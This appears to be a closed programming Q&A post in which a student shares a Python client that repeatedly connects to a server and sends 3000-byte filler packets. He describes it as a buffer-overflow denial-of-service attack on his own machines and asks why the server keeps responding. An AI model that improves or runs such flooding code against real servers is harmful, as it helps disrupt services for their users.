Performing denial of service attack using Python [closed]

Question

I am a student so please don't be rude for I miss something and this project is for research purpose only.

I am willing to perform a denial of service attack(on my own servers) I am not willing to do the script kiddie method of downloading and running some online codes I have programmed my own servers and clients here is the client which sends buffers thereby overflowing the buffers

class BufferOverflow:
def overflow(self,host,port):
    id = 0
    while True:
        print("================================================================")
        try:
            client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            print("[*] NetWorker Report: Sockets have been created against the server")
        except socket.error:
            print("[*] Adim permission required or port in use")
        buffer = "\x4e"*3000
        print("[*] Connecting to %s on %d"%(host,port))
        client.connect((host,port))
        print("[*] Connection established")
        exploit_packet = ("USV "+buffer+"//n//r//r").encode("UTF-8")
        print("[*] Initializing...")
        client.send(exploit_packet)
        print("[*] Initialized!")
        print("[*] Restarting...")
        client.close()
        print("[*] Restarted!")
        print("[*] Session ID: %d"%id)
        id+=1

This sends buffers to the server with the desired it, I have implemented my own sniffer which could resolve DNS to I.P so that I can get the I.P.

Here is the code to my own custom servers implementation, https://codereview.stackexchange.com/questions/144661/penetration-testing-in-an-unsuitable-environment

I used a basic TCP server from my code on code review on it to test,

In the screen shot the top left most is the server which displays the buffer like "NNN....3000*N" = > single buffer which is sent by the client, I used multiple clients to overblown the buffer. Finally I got success the top right most one which displayed this message,

Win 10061 error is nothing but the server has stopped or inactive. I know that the service is available for the present clients which I have created, so I have opened a new power shell along with the running clients and connected to the server but the server still responds , I don't know why?

Am I missing something or this is not actually the correct implementation of denial of service attack?

I am a student and I am willing to learn from you please do not be rude I have misunderstood some concepts and provided a wrong implementation